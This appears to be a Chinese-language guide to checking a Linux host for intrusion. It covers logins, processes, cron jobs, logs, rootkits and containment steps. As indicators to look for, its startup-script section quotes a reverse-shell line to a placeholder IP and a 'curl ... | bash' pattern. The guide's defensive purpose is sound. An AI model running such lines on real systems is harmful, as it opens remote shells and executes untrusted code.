要判断Linux系统是否被入侵,需要综合< b>静态特征检查、动态行为监控与日志审计,不能仅凭单一迹象下结论。以下是专业且可操作的排查路径。

1. 检查账户与登录痕迹
攻击者常通过添加新用户、修改sudo权限或利用弱口令登录。执行cat /etc/passwd、cat /etc/shadow检查是否有异常UID=0账户或非预期新增账户;使用awk -F: '($3==0){print $1}' /etc/passwd定位特权账户。查看last、lastlog与who输出,确认是否存在异常时间、异常IP(如境外代理、TOR出口)的登录记录;检查/var/log/auth.log(Debian/Ubuntu)或/var/log/secure(RHEL/CentOS)中的Accepted publickey、Failed password大量失败后成功的登录序列。
2. 异常进程与网络连接
使用ps aux --sort=-%cpu和top观察CPU、内存占用异常的进程,警惕随机名称或路径为/tmp、/dev/shm、/var/tmp的可执行文件。用netstat -antlp或ss -antlp检查监听端口和外部连接,关注非业务端口的反向shell(如443、53端口出现公网IP的连接)、ESTABLISHED状态却无归属进程的连接,以及长时间保持的异常TCP连接。使用lsof -p PID查看可疑进程打开的文件和socket。
3. 文件系统完整性异常
检查系统可执行文件是否被篡改,常用rpm -Va(Red Hat系)或dpkg -V(Debian系)比对软件包文件哈希。对关键目录执行find /home -name "*.php" -mmin -10、find /tmp -perm -2000等搜索近期创建的可执行文件或脚本。重点排查/etc/init.d/、/etc/systemd/system/、/usr/lib/systemd/system下是否有新添加的.service文件,并查看systemctl list-unit-files --type=service中处于enabled状态的可疑服务。
4. 计划任务与启动项
检查crontab -l、/etc/cron.d/、/var/spool/cron/crontabs/,攻击者常在此写入定时下载或反向连接任务。查看/etc/rc.local、/etc/profile.d/、~/.bashrc、~/.profile等启动加载脚本,是否存在bash -i >& /dev/tcp/IP/PORT、curl ... | bash、或base64解码后执行的恶意代码。
5. 日志篡改与删除迹象
日志文件被清空或时间段缺失是被入侵的重要信号。运行ls -la /var/log/检查wtmp、btmp、secure或auth.log是否被清空或大小异常为0。同时使用stat查看日志文件的mtime,若某些日志的修改时间与攻击时间段吻合,则存在被选择性删除的可能。还需审查sudo记录(/var/log/sudo.log)和history文件,是否有rm -rf、shred、killall等破坏性命令。
6. Rootkit与后门扫描
使用专业工具深度检测,例如chkrootkit、rkhunter、Lynis。检查内核模块:lsmod中是否有头文件不匹配或名称可疑的模块,使用cat /proc/modules与/lib/modules/$(uname -r)比对。重点排查是否存在LD_PRELOAD劫持:执行env查看是否有LD_PRELOAD,运行ls -l /etc/ld.so.preload查看其内容,如果被修改,任何系统命令都可能被隐藏劫持。
7. 内核与系统版本漏洞
如果系统长时间未更新,且攻击者利用已知内核提权漏洞(如脏管道、CVE-2022-0847),则可能获得root权限。运行uname -a查看内核版本,使用lsb_release -a或cat /etc/os-release确认发行版版本,再比对应安装的安全补丁。检查dmesg是否有异常的段错误、oops、或可疑的模块加载记录。
8. 敏感文件与系统行为异常
检查/root/.ssh/下是否增加了新的authorized_keys,且内容是否包含非管理员公钥。查看/etc/passwd中用户shell是否为/bin/false或/usr/sbin/nologin却出现在登录记录中。观察系统是否有sysctl网络参数被修改(net.ipv4.tcp_timestamps、net.ipv4.ip_forward等),可执行sysctl -a | grep -E "forward|accept_source"。此外,arp -a出现异常MAC地址可能意味着ARP欺骗或中间人攻击。
9. 内存与内核级恶意代码检测
使用ps aux | awk '{print $11}'列出全部进程路径,然后与二进制文件路径交叉验证,例如ls -l /proc/PID/exe。如果进程运行后其可执行文件已被删除((deleted)标记),极可能是恶意程序。对于高级攻击,建议使用volatility做内存取证,但需要提前获取内存镜像。现场操作时,优先保存/proc关键信息、网络连接、进程列表和登录日志,避免直接重启导致证据丢失。
10. 权威工具与应急策略
在确认或高度怀疑被黑后,立即断开网络(禁用网卡或拔出网线),但保留系统状态。使用stat、md5sum保存关键二进制文件哈希,将ps、netstat、lsof、ss等工具的静态版本(如busybox)准备在只读介质中,避免恶意rootkit伪造命令输出。最终建议对证书、密钥、数据库密码进行全面轮换,并从干净备份恢复系统,同时上报安全事件。
没有任何单一路径能100%确认系统未被入侵。若在排查中发现上述任意多个异常同时出现,或发现与已知攻击工具特征码匹配的痕迹,应视为< b>高风险被黑信号。深入取证建议结合OSSEC、Wazuh、Suricata等HIDS/NIDS工具进行全量审计,并参考CIS Benchmark加固基线防止再次失陷。

查看详情

查看详情